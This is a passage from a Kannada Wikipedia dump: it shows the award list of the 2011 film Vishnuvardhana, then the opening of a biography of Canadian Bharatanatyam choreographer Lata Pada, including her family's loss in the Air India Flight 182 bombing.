{{nom|20 + N/A}} |} '''59 ನೇ ಫಿಲ್ಮ್‌ಫೇರ್ ಅವಾರ್ಡ್ಸ್ ಸೌತ್ :-''' * ಅತ್ಯುತ್ತಮ ನಿರ್ದೇಶಕ – ಕನ್ನಡ – '''ನಾಮನಿರ್ದೇಶಿತ''' – ಪಿ. ಕುಮಾರ್ <ref name="59th FFASN">{{Cite web|url=http://news.in.msn.com/national/article.aspx?cp-documentid=250145271|title=Nominations for Kannada Filmfare announced|date=13 June 2012 <!-- 07:43:00 GMT -->|publisher=news.in.msn.com|archive-url=https://web.archive.org/web/20140202163707/http://news.in.msn.com/national/article.aspx?cp-documentid=250145271|archive-date=2 February 2014|access-date=25 January 2014}}</ref> '''1 ನೇ ದಕ್ಷಿಣ ಭಾರತೀಯ ಅಂತರರಾಷ್ಟ್ರೀಯ ಚಲನಚಿತ್ರ ಪ್ರಶಸ್ತಿಗಳು :-''' * ಅತ್ಯುತ್ತಮ ಚೊಚ್ಚಲ ನಿರ್ದೇಶಕ – ಕನ್ನಡ – '''ವಿಜೇತ''' – ಪಿ. ಕುಮಾರ್ <ref name="1st SIIMAW">{{Cite web|url=http://www.chinokino.com/2012/06/2012-south-indian-international-movie.html|title=2012 South Indian International Movie Awards (SIIMA) – Winners|date=24 June 2012|publisher=chinokino.com}}</ref> * ಅತ್ಯುತ್ತಮ ಚಿತ್ರ – ಕನ್ನಡ – '''ನಾಮನಿರ್ದೇಶಿತ''' – [[ದ್ವಾರಕೀಶ್|ಬಿ ಎಸ್ ದ್ವಾರಕೀಶ್]] <ref name="1st SIIMAN" /> * ಅತ್ಯುತ್ತಮ ನಟ (ಮಹಿಳೆ) – ಕನ್ನಡ – '''ನಾಮನಿರ್ದೇಶಿತ''' – [[ಭಾವನಾ (ನಟಿ-ಕಾರ್ತಿಕಾ ಮೆನನ್)|ಭಾವನಾ]] <ref name="1st SIIMAN" /> * ಪೋಷಕ ಪಾತ್ರದಲ್ಲಿ ಅತ್ಯುತ್ತಮ ನಟ – ಕನ್ನಡ – '''ನಾಮನಿರ್ದೇಶಿತ''' – ಅರುಣ್ ಸಾಗರ್ <ref name="1st SIIMAN" /> * ನಕಾರಾತ್ಮಕ ಪಾತ್ರದಲ್ಲಿ ಅತ್ಯುತ್ತಮ ನಟ – ಕನ್ನಡ – '''ನಾಮನಿರ್ದೇಶಿತ''' – [[ಸೋನು ಸೂದ್]] <ref name="1st SIIMAN" /> * ಅತ್ಯುತ್ತಮ ಛಾಯಾಗ್ರಾಹಕ – ಕನ್ನಡ – '''ನಾಮನಿರ್ದೇಶಿತ''' – ರಾಜರತ್ನಂ <ref name="1st SIIMAN" /> * ಅತ್ಯುತ್ತಮ ಹಿನ್ನೆಲೆ ಗಾಯಕಿ (ಮಹಿಳೆ) - ಕನ್ನಡ - '''ನಾಮನಿರ್ದೇಶಿತ''' - ಸೌಮ್ಯಾ ರಾವ್ "ಯೆಡೆಯೊಳಗೆ ಗಿಟಾರು" <ref name="1st SIIMAN">{{Cite web|url=http://www.projectsjugaad.com/2012/06/siima-nominees-are/|title=SIIMA NOMINEES ARE|date=June 2012|publisher=projectsjugaad.com|archive-url=https://web.archive.org/web/20140201172244/http://www.projectsjugaad.com/2012/06/siima-nominees-are/|archive-date=1 February 2014|access-date=25 January 2014}}</ref> ಹಾಡಿಗೆ '''4ನೇ ಸುವರ್ಣ ಚಲನಚಿತ್ರ ಪ್ರಶಸ್ತಿಗಳು :-''' * ಅತ್ಯುತ್ತಮ ನಟ – '''ವಿಜೇತ''' – [[ಸುದೀಪ್]] <ref name="Suvarna Film Awards 2012" /> <ref>{{Cite web|url=http://www.kicchasudeepkksfa.com/about.html|title=Awards|date=2012|publisher=kicchasudeepkksfa.com}}</ref> * ಅತ್ಯುತ್ತಮ ನೃತ್ಯ ಸಂಯೋಜಕ – '''ವಿಜೇತ''' – ಹರ್ಷ <ref name="Suvarna Film Awards 2012">{{Cite web|url=http://www.gandhadagudi.com/forum/viewtopic.php?f=1&t=6782&sid=5dca9417408ea8575e9f8edeb82706c6|title=Suvarna Awards 2012 – DECLARED|date=14 May 2012|publisher=gandhadagudi.com|archive-url=https://web.archive.org/web/20140517234954/http://www.gandhadagudi.com/forum/viewtopic.php?f=1&t=6782&sid=5dca9417408ea8575e9f8edeb82706c6|archive-date=17 May 2014|access-date=20 June 2014}}</ref> '''ಸ್ಯಾಂಡಲ್ ವುಡ್ ಸ್ಟಾರ್ ಪ್ರಶಸ್ತಿಗಳು :-''' * ಅತ್ಯುತ್ತಮ ಚಲನಚಿತ್ರ – '''ನಾಮನಿರ್ದೇಶಿತ''' <ref>{{Cite web|url=https://www.youtube.com/watch?v=nneweLVwt4c|title=TV9 Exclusive : Sandalwood Star Awards 2012 – {Epi : 2} – Part 7/14|date=27 March 2012|publisher=youtube.com}}</ref> * ಅತ್ಯುತ್ತಮ ನಟ – '''ನಾಮನಿರ್ದೇಶಿತ''' – [[ಸುದೀಪ್]] <ref>{{Cite web|url=https://www.youtube.com/watch?v=kR2bV_XEr_s|title=TV9 Exclusive : Sandalwood Star Awards 2012 – {Epi : 2} – Part 12/14|date=27 March 2012|publisher=www.youtube.com}}</ref> * ಅತ್ಯುತ್ತಮ ನಿರ್ದೇಶಕ – '''ನಾಮನಿರ್ದೇಶಿತ''' – ಪಿ. ಕುಮಾರ್ <ref name="SSAD" /> * ಅತ್ಯುತ್ತಮ ಚೊಚ್ಚಲ ನಿರ್ದೇಶಕ – '''ವಿಜೇತ''' – ಪಿ. ಕುಮಾರ್ <ref name="SSAD">{{Cite web|url=https://www.youtube.com/watch?v=62lFM0T8l84|title=TV9 Exclusive : Sandalwood Star Awards 2012 – {Epi : 2} – Part 5/14|date=27 March 2012|publisher=youtube.com}}</ref> * ಅತ್ಯುತ್ತಮ ಹಾಸ್ಯನಟ – '''ನಾಮನಿರ್ದೇಶಿತ''' – ಅರುಣ್ ಸಾಗರ್ <ref name="SSAC" /> * ನಕಾರಾತ್ಮಕ ಪಾತ್ರದಲ್ಲಿ ಅತ್ಯುತ್ತಮ ನಟ – '''ನಾಮನಿರ್ದೇಶಿತ''' – [[ಸೋನು ಸೂದ್]] <ref name="SSAC">{{Cite web|url=https://www.youtube.com/watch?v=JH5Ee4odMcA|title=TV9 Exclusive : Sandalwood Star Awards 2012 – {Epi : 2} – Part 2/14|date=26 March 2012|publisher=www.youtube.com}}</ref> * ಅತ್ಯುತ್ತಮ ಚಿತ್ರಕಥೆ – '''ನಾಮನಿರ್ದೇಶಿತ''' – ಪಿ. ಕುಮಾರ್ <ref>{{Cite web|url=https://www.youtube.com/watch?v=qQ7ehvLvnGE|title=TV9 Exclusive : Sandalwood Star Awards 2012 – {Epi : 1} – Part 13/13|date=26 March 2012|publisher=www.youtube.com}}</ref> * ಅತ್ಯುತ್ತಮ ಪೋಷಕ ನಟಿ – '''ವಿಜೇತೆ''' – [[ಪ್ರಿಯಾಮಣಿ]] <ref>{{Cite web|url=https://www.youtube.com/watch?v=QBPbmFyipuU|title=TV9 Exclusive : Sandalwood Star Awards 2012 – {Epi : 1} – Part 11/13|date=26 March 2012|publisher=www.youtube.com}}</ref> * ಅತ್ಯುತ್ತಮ ಸಂಭಾಷಣೆ – '''ನಾಮನಿರ್ದೇಶಿತ''' – ಕಾಳಿದಾಸ, ಶ್ರೀಕಾಂತ್, ರಮೇಶ್ ಕಮಲ್ <ref>{{Cite web|url=https://www.youtube.com/watch?v=__nzOpALbs8|title=TV9 Exclusive : Sandalwood Star Awards 2012 – {Epi : 1} – Part 12/13|date=26 March 2012|publisher=www.youtube.com}}</ref> * ಅತ್ಯುತ್ತಮ ಸಾಹಸ ನಿರ್ದೇಶಕ – '''ನಾಮನಿರ್ದೇಶಿತ''' – ರವಿವರ್ಮ, ಗಣೇಶ್ <ref name="SSA" /> * ಅತ್ಯುತ್ತಮ ನೃತ್ಯ ಸಂಯೋಜಕ – '''ವಿಜೇತ''' – ಹರ್ಷ <ref name="SSA">{{Cite web|url=https://www.youtube.com/watch?v=t35OepE48z4|title=TV9 Exclusive : Sandalwood Star Awards 2012 – {Epi : 1} – Part 5/13|date=26 March 2012|publisher=www.youtube.com}}</ref> * ಅತ್ಯುತ್ತಮ ಕಲಾ ನಿರ್ದೇಶಕ – '''ನಾಮನಿರ್ದೇಶಿತ''' – ಮೋಹನ್ ಪಂಡಿತ್, ಮೋಹನ್ ಕೆರೆ, ಆನಂದ್ <ref>{{Cite web|url=https://www.youtube.com/watch?v=4Lw1jg_CrPA|title=TV9 Exclusive : Sandalwood Star Awards 2012 – {Epi : 1} – Part 3/13|date=26 March 2012|publisher=www.youtube.com}}</ref> '''ಬೆಂಗಳೂರು ಟೈಮ್ಸ್ ಫಿಲ್ಮ್ ಅವಾರ್ಡ್ಸ್ :-''' * ಅತ್ಯುತ್ತಮ ನಟ – '''ವಿಜೇತ''' – [[ಸುದೀಪ್]] <ref name="BTFA TOI">{{Cite web|url=http://articles.timesofindia.indiatimes.com/2012-06-21/news-interviews/32336976_1_ramya-video-clear-winner|title=The Bangalore Times Film Awards 2011|date=21 June 2012|website=[[The Times of India]]|archive-url=https://web.archive.org/web/20131218032426/http://articles.timesofindia.indiatimes.com/2012-06-21/news-interviews/32336976_1_ramya-video-clear-winner|archive-date=18 December 2013|access-date=21 June 2012 <!-- at 12.00AM IST -->}}</ref> * ಅತ್ಯುತ್ತಮ ಚಲನಚಿತ್ರ – '''ನಾಮನಿರ್ದೇಶಿತ''' <ref name="BTFA 2011 TOI" /> * ಋಣಾತ್ಮಕ ಪಾತ್ರದಲ್ಲಿ ಅತ್ಯುತ್ತಮ ನಟ - '''ನಾಮನಿರ್ದೇಶಿತ''' - [[ಸೋನು ಸೂದ್]] <ref name="BTFA 2011 TOI" /> * ಋಣಾತ್ಮಕ ಪಾತ್ರದಲ್ಲಿ ಅತ್ಯುತ್ತಮ ನಟ - '''ನಾಮನಿರ್ದೇಶಿತ''' - [[ಪ್ರಿಯಾಮಣಿ]] <ref name="BTFA 2011 TOI">{{Cite web|url=http://epaper.timesofindia.com/Default/Scripting/ArticleWin.asp?From=Archive&Source=Page&Skin=pastissues2&BaseHref=TOIBG/2012/03/20&PageLabel=27&EntityId=Ar02700&ViewMode=HTML|title=The Bangalore Times Film Awards 2011|date=20 March 2012|publisher=epaper.timesofindia.com|access-date=20 March 2012}}</ref> '''1 ನೇ ಕನ್ನಡ ಅಂತರರಾಷ್ಟ್ರೀಯ ಸಂಗೀತ ಪ್ರಶಸ್ತಿಗಳು (KiMA) :-''' * ಅತ್ಯುತ್ತಮ ಹಿನ್ನೆಲೆ ಗಾಯಕಿ (ಮಹಿಳೆ) - '''ನಾಮನಿರ್ದೇಶಿತ''' - "ಯಾರಪ್ಪನ ಗಂಟೆ ಆಗಲಿ" <ref>{{Cite web|url=http://kima.co.in/kima-voting/|title=Best Playback Singer (Female)|publisher=kima.co.in|archive-url=https://archive.today/20140521115040/http://kima.co.in/kima-voting/|archive-date=21 May 2014|access-date=21 May 2014}} click on "Best Playback Singer (Female)"</ref> ಹಾಡಿಗೆ ಲಕ್ಷ್ಮಿ ವಿಜಯ್ == ಉಲ್ಲೇಖಗಳು == {{reflist}} == ಬಾಹ್ಯ ಕೊಂಡಿಗಳು == * {{IMDb title|2905606|Vishnuvardhana}} * {{AllMovie title|550634|Vishnuvardhana}} [[ವರ್ಗ:ಕನ್ನಡ ಚಲನಚಿತ್ರಗಳು]] [[ವರ್ಗ:All articles with dead external links]] [[ವರ್ಗ:ವರ್ಷ-೨೦೧೧ ಕನ್ನಡಚಿತ್ರಗಳು]] 4n98guujhabtcf6gi4we7odsuzzfs6z ಲತಾ ಪಾದ 0 142989 1116434 1106710 2022-08-23T12:28:43Z InternetArchiveBot 69876 Rescuing 3 sources and tagging 0 as dead.) #IABot (v2.0.9 wikitext text/x-wiki   [[Category:Articles with hCards]] [[ವರ್ಗ:ಕಲಾವಿದರು]] '''ಲತಾ ಪಾದ''', <ref>[http://narthaki.com/info/intervw/intrvw21.html Nartaki, Interview, May, 2001, Lata Pada - Choreographer]</ref> (ಜನನ ೭ನವೆಂಬರ್ ೧೯೪೭<ref>{{Cite web|url=http://artsalive.ca/en/dan/meet/bios/artistDetail.asp?artistID=15|title=Biography|access-date=2009-02-11}}</ref> ) ಒಬ್ಬ ಭಾರತೀಯ ಮೂಲದ ಕೆನಡಾದ ನೃತ್ಯ ಸಂಯೋಜಕಿ ಮತ್ತು [[ಭರತನಾಟ್ಯ]] ನೃತ್ಯಗಾರ್ತಿ. ಲತಾ ಅವರು ದಕ್ಷಿಣ ಏಷ್ಯಾದ ನೃತ್ಯವನ್ನು ಪ್ರದರ್ಶಿಸುವ ನೃತ್ಯ ಕಂಪನಿಯಾದ ಸಂಪ್ರದಾಯ ಡ್ಯಾನ್ಸ್ ಕ್ರಿಯೇಷನ್ಸ್‌ನ ಸಂಸ್ಥಾಪಕ ಮತ್ತು ಕಲಾತ್ಮಕ ನಿರ್ದೇಶಕರಾಗಿದ್ದರು. ಅವರು ಸಂಪ್ರದಾಯ ಡ್ಯಾನ್ಸ್ ಅಕಾಡೆಮಿಯ ಸಂಸ್ಥಾಪಕ ಮತ್ತು ನಿರ್ದೇಶಕಿಯೂ ಆಗಿದ್ದರು ,ಇದು ಪ್ರಮುಖ ವೃತ್ತಿಪರ ನೃತ್ಯ ತರಬೇತಿ ಸಂಸ್ಥೆಯಾಗಿದ್ದು, ಇದು ಉತ್ತರ ಅಮೆರಿಕಾದ ಏಕೈಕ ದಕ್ಷಿಣ ಏಷ್ಯಾದ ನೃತ್ಯ ಶಾಲೆಯಾಗಿದ್ದು, ಪ್ರತಿಷ್ಠಿತ, ಯುಕೆ ಮೂಲದ ಇಂಪೀರಿಯಲ್ ಸೊಸೈಟಿ ಫಾರ್ ಟೀಚರ್ಸ್ ಆಫ್ ಡ್ಯಾನ್ಸಿಂಗ್‌ನೊಂದಿಗೆ ಸಂಯೋಜಿತವಾಗಿದೆ. <ref>Walker, Susan. "[https://www.thestar.com/article/433757 Call it South Asian dance HQ]." ''[[The Toronto Star]]''. 30 May 2008.</ref> <ref name="Kopun">Kopun, Francine. "[https://www.thestar.com/article/249781 When the only thing left is hope]." ''[[The Toronto Star]]''. 25 August 2007.</ref> ಪಾದ ೧೯೯೦ರಲ್ಲಿ ನೃತ್ಯ ಕಂಪನಿಯನ್ನು ಸ್ಥಾಪಿಸಿದರು; [[ಭರತನಾಟ್ಯ]] ನೃತ್ಯವನ್ನು ಪ್ರಪಂಚದಾದ್ಯಂತ ಕಲಾ ಪ್ರಕಾರವಾಗಿ ಪ್ರದರ್ಶಿಸಲು ತಾನು ಕಂಪನಿಯನ್ನು ಸ್ಥಾಪಿಸಿದ್ದೇನೆ ಎಂದು ಪಾದ ಅವರು ಹೇಳಿದರು. <ref>"[http://www.harbourfrontcentre.com/worldroutes/festivals.cfm?id=453 “B2” a collaboration between Sampradaya Dance Creations and Ballet Jorgen]." ''[[Harbourfront Centre]]''. Retrieved on 10 December 2008.</ref> <ref>" [http://www.canadacouncil.ca/canadacouncil/user/printthispage.aspx?url=%2Fdevelopment%2Fdanceontour%2Fcompanies%2Fse127488176755353750.htm&language=en Sampradaya Dance Creations]." ''[[Canada Council for the Arts]]''. Retrieved on 10 December 2008.</ref> ಕೆನಡಾದಲ್ಲಿ ದಕ್ಷಿಣ ಏಷ್ಯಾದ ಶೈಲಿಯ ನೃತ್ಯದಲ್ಲಿ ಪಾದ ಪ್ರಭಾವಿ ವ್ಯಕ್ತಿ ಎಂದು ಕರೆಯಲಾಗುತ್ತದೆ. <ref name="CalcuttaTelegraph">"[http://www.telegraphindia.com/1031115/asp/calcutta/story_2572143.asp Daring and innovative]." ''[[The Telegraph (India)|The Telegraph]]''. Retrieved on 10 December 2008.</ref> == ಜೀವನ == ೭ ನವೆಂಬರ್ ೧೯೪೭ ರಂದು ಜನಿಸಿದ ಲತಾ ಅವರು ಸುಶಿಕ್ಷಿತ ಕುಟುಂಬದಲ್ಲಿ ನಾಲ್ಕು ಮಕ್ಕಳಲ್ಲಿ ಹಿರಿಯರಾಗಿದ್ದರು. <ref>[http://foreveryoungnews.com/posts/293-by-dance-reborn- Resource guide, By dance reborn-By Keith Garebian]</ref> ಆಕೆಯ ತಂದೆ ರಾಯಲ್ ನೌಕೆಯಲ್ಲಿ ಎಲೆಕ್ಟ್ರಿಕಲ್ ಇಂಜಿನಿಯರ್ ಆಗಿದ್ದರು ಮತ್ತು ಆಕೆಯ ತಾಯಿ ಇನ್ಶೂರೆನ್ಸ್ ಮ್ಯಾನೇಜ್‍ಮೆಂಟ್ ಮಾಡುತ್ತಿದ್ದರು. ಅವರು ಭಾರತೀಯ ನೃತ್ಯವನ್ನು ಮುಂದುವರಿಸಲು ವಿಜ್ಞಾನ ಅಧ್ಯಯನವನ್ನು ತ್ಯಜಿಸಿದರು. ಅವರ ಮೊದಲ ಪತಿ [[ಏರ್ ಇಂಡಿಯಾ ಉಡ್ಡಯನ 182|ವಿಷ್ಣು ಪಾದ]] ಅವರು ಥಾಂಪ್ಸನ್, ಮ್ಯಾನಿಟೋಬಾಕ್ಕೆ ಕರೆದೊಯ್ದರು, ಅಲ್ಲಿ ಅವರು ಇಂಕೊದಲ್ಲಿ ಕೆಲಸ ಮಾಡುತ್ತಿದ್ದಾಗ, ಅವರು ತಮ್ಮ ದೇಶೀಯ ಕರ್ತವ್ಯಗಳನ್ನು ಸಾಮಾಜಿಕ ಜೀವನ ಮತ್ತು ಅವರ ಕಲಾತ್ಮಕ ವೃತ್ತಿಯೊಂದಿಗೆ ಸಂಯೋಜಿಸಲು ಸಾಧ್ಯವಾಯಿತು. == ಶಿಕ್ಷಣ == [[ಮುಂಬಯಿ.|ಮುಂಬೈನ]] [[ಎಲ್ಫಿನ್ ಸ್ಟನ್ ಕಾಲೇಜ್, ಮುಂಬಯಿ|ಎಲ್ಫಿನ್‌ಸ್ಟೋನ್ ಕಾಲೇಜಿನಲ್ಲಿ]] ವ್ಯಾಸಂಗ ಮಾಡಿದ ಲತಾ, ಗುರುಗಳಾದ ಕಲೈಮಾಮಣಿ ಕಲ್ಯಾಣಸುಂದರಂ ಮತ್ತು ಪದ್ಮಭೂಷಣ [[ಕಲಾನಿಧಿ ನಾರಾಯಣನ್]] ಅವರಲ್ಲಿ ತರಬೇತಿ ಪಡೆದರು. <ref name="CalcuttaTelegraph"/> ಲತಾ ಅವರು ಒಂಟಾರಿಯೊದ [[ಟೊರಾಂಟೊ ನಗರ|ಟೊರೊಂಟೊ]] ಬಳಿಯ ಮಿಸಿಸೌಗಾದಲ್ಲಿ ವಾಸಿಸುತ್ತಿದ್ದರು. <ref name="Curry">Curry, Bill. "[https://www.theglobeandmail.com/servlet/story/RTGAM.20070509.wairindia0510/BNStory/National/home Air India bombing could have been prevented] {{Webarchive|url=https://web.archive.org/web/20070512214943/http://www.theglobeandmail.com/servlet/story/RTGAM.20070509.wairindia0510/BNStory/National/home |date=12 ಮೇ 2007 }}." ''[[ಗ್ಲೋಬ್ ಮತ್ತು ಮೇಲ್|The Globe and Mail]]''. 9 May 2007.</ref> ವಿಷ್ಣು ಮೆಕ್‌ಗಿಲ್ ವಿಶ್ವವಿದ್ಯಾಲಯದಿಂದ ಭೂವಿಜ್ಞಾನದಲ್ಲಿ ಪದವಿ ಪಡೆದಿದ್ದು, ಭಾರತಕ್ಕೆ ಬಂದಾಗ ಲತಾಳನ್ನು ನೋಡಿದರು ಮತ್ತು ಮದುವೆಯ ಮಾತುಕತೆಗಳನ್ನು ಮಾಡಲಾಯಿತು. ಪಾದಾ ಅವರು ೧೭ ವರ್ಷ ವಯಸ್ಸಿನವರಾಗಿದ್ದಾಗ ೩೦ ಅಕ್ಟೋಬರ್ ೧೯೬೪ ರಂದು ಭೂವಿಜ್ಞಾನಿ ವಿಷ್ಣು ಪಾದ, ಅವರನ್ನು ವಿವಾಹವಾದರು. ಮದುವೆ ಕೆನಡಾದಲ್ಲಿ ನಡೆಯಿತು. <ref>Radhika, V. "[http://www.boloji.com/wfs3/wfs321.htm Dancing To Transform] {{Webarchive|url=https://web.archive.org/web/20100131062725/http://boloji.com/wfs3/wfs321.htm |date=31 ಜನವರಿ 2010 }}." ''[[ಬೋಲೋಜಿ|Boloji]]''. 4 December 2004.</ref> ಕೆನಡಾಕ್ಕೆ ಬಂದ ನಂತರ, ಲತಾ ಅವರು ಸೊರೊರಿಟಿಯ ಸದಸ್ಯರಾದರು ಮತ್ತು ಕಾರ್ಯಕ್ರಮಗಳಲ್ಲಿ ಭಾಗವಹಿಸಲು ಪ್ರಾರಂಭಿಸಿದರು. == ಇಂಡೋನೇಷ್ಯಾದಲ್ಲಿ == ಲತಾ ಮತ್ತು ಅವರ ಪತಿ [[ಏರ್ ಇಂಡಿಯಾ ಉಡ್ಡಯನ 182|ವಿಷ್ಣು ಪಾದ]] ಅವರು ಸುಮಾರು ೪೦ ವರ್ಷಗಳ ಹಿಂದೆ ಒಂಟಾರಿಯೊದ ಸುಡ್ಬರಿಯಲ್ಲಿ ನೆಲೆಸುವ ಮೊದಲು [[ಇಂಡೋನೇಷ್ಯಾ|ಇಂಡೋನೇಷ್ಯಾಕ್ಕೆ]] ತೆರಳಿದರು. ಅವರು ತಮ್ಮ ಪತಿ, ಇಬ್ಬರು ಹೆಣ್ಣುಮಕ್ಕಳನ್ನು ನೋಡಿಕೊಳ್ಳಲು ಮತ್ತು ನೃತ್ಯ ಕಲಿಸಲು ತಮ್ಮ ಜೀವನವನ್ನು ಮುಡಿಪಾಗಿಟ್ಟರು. ಆಕೆ ತನ್ನ ನೃತ್ಯ ಗುರುವಿನ ಬಳಿ ತರಬೇತಿ ಪಡೆಯಲು ಪ್ರತಿ ವರ್ಷ ಭಾರತಕ್ಕೆ ಭೇಟಿ ನೀಡುತ್ತಿದ್ದರು. ೧೯೮೫ ರಲ್ಲಿ ಅವರು ಬೆಂಗಳೂರಿನಲ್ಲಿ ನಿಗದಿತ ಪ್ರದರ್ಶನಕ್ಕಾಗಿ ಅಭ್ಯಾಸ ಮಾಡಲು ತಮ್ಮ ಕುಟುಂಬಕ್ಕಿಂತ ಮುಂದೆ ಪ್ರಯಾಣಿಸಿದರು. ಆಕೆಯ ಪತಿ ಮತ್ತು ಪುತ್ರಿಯರು ದೆಹಲಿಗೆ ಹೊರಟಿದ್ದ [[ಏರ್ ಇಂಡಿಯಾ ಉಡ್ಡಯನ 182|ಏರ್ ಇಂಡಿಯಾ ಫ್ಲೈಟ್ ೧೮೨]] ರಲ್ಲಿ ಐರ್ಲೆಂಡ್‌ನ ಕರಾವಳಿಯಲ್ಲಿ ಭಯೋತ್ಪಾದಕರ ಬಾಂಬ್ ಸ್ಪೋಟದಲ್ಲಿ ಮರಣಹೊಂದಿದರು.<ref>[http://www.boloji.com/index.cfm?md=Content&sd=Articles&ArticleID=6188#sthash.O7G7vP0D.dpuf 'If you take away my children, am I still a-mother']</ref> ಲತಾ ಪಾದ ೧೯೯೭ ರಲ್ಲಿ ಯಾರ್ಕ್ ವಿಶ್ವವಿದ್ಯಾನಿಲಯದಿಂದ ಲಲಿತಕಲೆಯಲ್ಲಿ ಸ್ನಾತಕೋತ್ತರ ಪದವಿಯನ್ನು ಪಡೆದರು. <ref name="books.google.co.in">[https://books.google.com/books?id=Pg_aAgAAQBAJ&pg=PA381&lpg=PA381&dq=lata+pada,+gets+masters+degree+in+dance+from++york+university&source=bl&ots=SumZDtyWg0&sig=Pf1xAQsSv5IWsJzvcSNhNItCiQo&hl=kn&sa=X&ved=0CFIQ6AEwB2oVChMI5Y7b6OixxwIVEwSOCh3IQAkG#v=onepage&q=lata%20pada%2C%20gets%20masters%20degree%20in%20dance%20from%20%20york%20university&f=false Fields in Motion: Ethnography in the Worlds of Dance, edited by Dena Davida, Revealed by fire-Lata Pada's Narrative of Transformation-Susan Mcnaughton P-381, Chapter 20]</ref> == ಭರತ ನಾಟ್ಯದಲ್ಲಿ ವೃತ್ತಿಜೀವನ == ೧೩ ನೇ ವಯಸ್ಸಿನಲ್ಲಿ, ಲತಾ ತನ್ನ ಏಕವ್ಯಕ್ತಿ ಪ್ರದರ್ಶನವನ್ನು 'ಅರಂಗೇತ್ರಂ' ಎಂದು ಕರೆದರು. ಲತಾ ಪಾದ ಅವರು ಕೆನಡಾಕ್ಕೆ ವಲಸೆ ಬಂದ ನಂತರದ ವರ್ಷದಲ್ಲಿ ೧೯೬೫ ರಲ್ಲಿ ಏಕವ್ಯಕ್ತಿ ಪ್ರದರ್ಶಕರಾಗಿ ವೃತ್ತಿಜೀವನವನ್ನು ಪ್ರಾರಂಭಿಸಿದರು. ಈ ಸಮಯದಲ್ಲಿ, ಅವರ ಕೆಲಸವು ಹೆಚ್ಚಾಗಿ ಸಾಂಪ್ರದಾಯಿಕವಾಗಿತ್ತು. ಆದಾಗ್ಯೂ, ಅವರು ಹಲವಾರು ವರ್ಷಗಳ ಕಾಲ ಇಂಡೋನೇಷ್ಯಾದಲ್ಲಿ ವಾಸಿಸುತ್ತಿದ್ದಾಗ, ಲತಾ ಪಾದ ಕ್ರಾಸ್-ಕಲ್ಚರಲ್ ಸಹಯೋಗದಲ್ಲಿ ಆಸಕ್ತಿ ಹೊಂದಿದ್ದರು ಮತ್ತು ಇತರ ಪ್ರಭಾವಗಳಿಗೆ ತಮ್ಮ ನೃತ್ಯ ಸಂಯೋಜನೆಯನ್ನು ತೆರೆದರು. ೧೯೭೯ ರಲ್ಲಿ, ಅವರು ಕೆನಡಾಕ್ಕೆ ಮರಳಿದರು. ಪಾದ ಅವರ ಏಕವ್ಯಕ್ತಿ ನೃತ್ಯಗಳು ಭರತ ನಾಟ್ಯವನ್ನು ಸಾಂಪ್ರದಾಯಿಕ ರೂಪದಲ್ಲಿ ಮತ್ತು ಹೆಚ್ಚು ಸಮಕಾಲೀನ ಶೈಲಿಯಲ್ಲಿ ಒಳಗೊಂಡಿತ್ತು. ೧೯೯೦ ರಲ್ಲಿ, ಪಾದ ಟೊರೊಂಟೊ, ಒಂಟಾರಿಯೊದಲ್ಲಿ ಸಂಪ್ರದಾಯ ಡ್ಯಾನ್ಸ್ ಕ್ರಿಯೇಷನ್ಸ್ ಮತ್ತು ಹತ್ತಿರದ ಮಿಸಿಸೌಗಾದಲ್ಲಿ ಸಂಪ್ರದಾಯ ಡ್ಯಾನ್ಸ್ ಅಕಾಡೆಮಿಯನ್ನು ಸ್ಥಾಪಿಸಿದರು. ಸಂಪ್ರದಾಯ ಡ್ಯಾನ್ಸ್ ಕ್ರಿಯೇಷನ್ಸ್ ಶಾಸ್ತ್ರೀಯ ಮತ್ತು ಸಮಕಾಲೀನ ರೆಪರ್ಟರಿ ಎರಡರಲ್ಲೂ ಏಕವ್ಯಕ್ತಿ ಮತ್ತು ಸಮಗ್ರ ನೃತ್ಯ ಸಂಯೋಜನೆಯನ್ನು ಪ್ರಸ್ತುತಪಡಿಸುತ್ತದೆ. ಕಂಪನಿಯು ಶಿಕ್ಷಣ ಮತ್ತು ಸಮುದಾಯದ ಪ್ರಭಾವದಲ್ಲಿಯೂ ತೊಡಗಿಸಿಕೊಂಡಿದೆ. == ಭಾರತಕ್ಕೆ ರಜೆಯ ಮೇಲೆ == ೧೯೮೫ ರಲ್ಲಿ ಲತಾ ಪಾದ ಮತ್ತು ಅವರ ಕುಟುಂಬವು ಭಾರತಕ್ಕೆ ವಿಸ್ತೃತ ರಜೆಯನ್ನು ತೆಗೆದುಕೊಳ್ಳಲು ನಿರ್ಧರಿಸಿತು. <ref>"Explosive Evidence." ''[[Mayday (Canadian TV series)|Mayday]]''.</ref> ಅದೇ ವರ್ಷದ ಜೂನ್ ೨೩ ರಂದು ವಿಷ್ಣು ಪಾದ ಮತ್ತು ಪುತ್ರಿಯರಾದ ಆರತಿ ಮತ್ತು ಬೃಂದಾ [[ಏರ್ ಇಂಡಿಯಾ ಉಡ್ಡಯನ 182|ಏರ್ ಇಂಡಿಯಾ ಫ್ಲೈಟ್ ೧೮೨]] ರ ಬಾಂಬ್ ಸ್ಫೋಟದಲ್ಲಿ ಸಾವನ್ನಪ್ಪಿದರು. <ref name="Kopun"/> <ref name="Curry"/> [[ಬೆಂಗಳೂರು]] ಮತ್ತು ಭಾರತದಾದ್ಯಂತ ಭರತನಾಟ್ಯ ವಾಚನಗೋಷ್ಠಿಗಳಿಗಾಗಿ ಭಾರತ ಪ್ರವಾಸ ಮಾಡಲು ಹಿಂದಿನ ದಿನಾಂಕದಂದು ಲತಾ ಪಾದ ಹಡಗಿನಲ್ಲಿ ಇರಲಿಲ್ಲ; ಲತಾ ತನ್ನ ಪ್ರವಾಸಕ್ಕಾಗಿ ಮುಂಬೈನಲ್ಲಿ ಅಭ್ಯಾಸ ಮಾಡುತ್ತಿದ್ದಳು, ಬೃಂದಾ ಪ್ರೌಢಶಾಲೆಯಿಂದ ಪದವಿ ಪಡೆಯುತ್ತಿದ್ದರಿಂದ ಆಕೆಯ ಪತಿ ಮತ್ತು ಹೆಣ್ಣುಮಕ್ಕಳು ಒಂಟಾರಿಯೊದ ಸಡ್ಬರಿಯಲ್ಲಿ ಉಳಿದುಕೊಂಡರು; ನಂತರ ಮೂವರು ಏರ್ ಇಂಡಿಯಾ ೧೮೨ <ref>"[http://www.tribuneindia.com/2005/20050710/spectrum/main1.htm The Kanishka Bombing, 20 years on Lest we forget]." ''[[The Sunday Times]]''. Sunday 10 July 2005.</ref> ನಲ್ಲಿ ಹಾರಿದರು. ಲತಾ ಪಾದ ಸಂತ್ರಸ್ತರ ಕುಟುಂಬಗಳ ವಕ್ತಾರರಾದರು. <ref>"[http://www.cbc.ca/canada/story/2005/11/23/rae-india051123.html 